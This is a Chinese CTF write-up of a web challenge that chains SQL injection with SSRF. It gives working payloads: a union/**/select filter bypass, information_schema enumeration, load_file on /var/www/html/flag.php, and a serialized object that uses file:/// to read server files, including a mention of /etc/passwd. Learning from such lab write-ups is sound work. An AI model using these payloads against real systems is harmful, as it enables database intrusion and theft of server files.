首先点进来,随便注册一个账号试试,不过发现blog里面的内容一定要带 "." 目前不知道为什么,往下看

用工具扫描目录(?)

1.发现flag.php 可能存在于内网中,无法访问,路径为/var/www/html/flag.php

2.发现 robots.txt 访问,

有个user.php的备份文件

这里解释了为什么blog里面的内容一定要带 "."

不过这不重要,重要的是我们看到了这一条

get传参通过url,

发现了curl_exec()函数,应该是SSRF漏洞

SSRF漏洞原理攻击与防御(超详细总结)-CSDN博客

此处我们用其中的URL伪协议

file:/// 从文件系统中获取文件内容,如,file:///etc/passwd

再说回来,我们点进这个注册的账号

里面是我们注册时填写的信息

由于储存信息涉及到数据库,我们怀疑有sql注入点,测试一下

说明是数字型注入,发现union select被过滤,用union/**/select 绕过(?no=-1.....1,2,3,4) ,这是新学到的方法

之前的ununionion seselectlect好像用不了,发现回显位置在2,有四个字段

爆用户名发现用户居然是root权限,此处可以用

解法一:

有一个load_file()函数可以利用绝对路径去加载一个文件,于是我们利用一下

load_file(file_name):file_name是一个完整的路径,于是我们直接用var/www/html/flag.php路径去访问一下这个文件

构造payload:....1,load_file('/var/www/html/flag.php'),3,4

然后查看页面源代码(我也不理解为什么不直接爆在2位置处?)

解法二(常规):

爆数据库名,表名

no=-1%20union/**/select%201,group_concat(table_name),3,4%20%20from%20information_schema.tables%20where%20table_schema=%27fakebook%27

分别是fakebook,users

union/**/select%201,group_concat(column_name),3,4%20%20from%20information_schema.columns%20where%20table_name=%27users%27

flag 可能在data里面

union/**/select%201,group_concat(data),3,4%20%20from%20fakebook.users

这里我没有搞懂为什么最后实在4位置爆flag,但是利用到序列化和file伪协议,可以构造出payload

union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

看源代码,解码base64,也可以得到flag

等主播旅游回来再搞清楚为什么吧,嘿嘿

总结:

可以通过常规方法结合序列化,file伪协议等等,实现sql注入(昨晚居然梦到这个东西了,,),这道题让我对sql有了更深入的理解

也可以利用root用户的权限,直接查看flag

Logo

中国智能体开发者社区,聚焦智能体与大模型开发,提供前沿资讯、实用工具链、开源项目及行业案例。通过技术沙龙、开发者大赛等活动,促进经验交流与协作,助力开发者快速构建创新智能应用。

更多推荐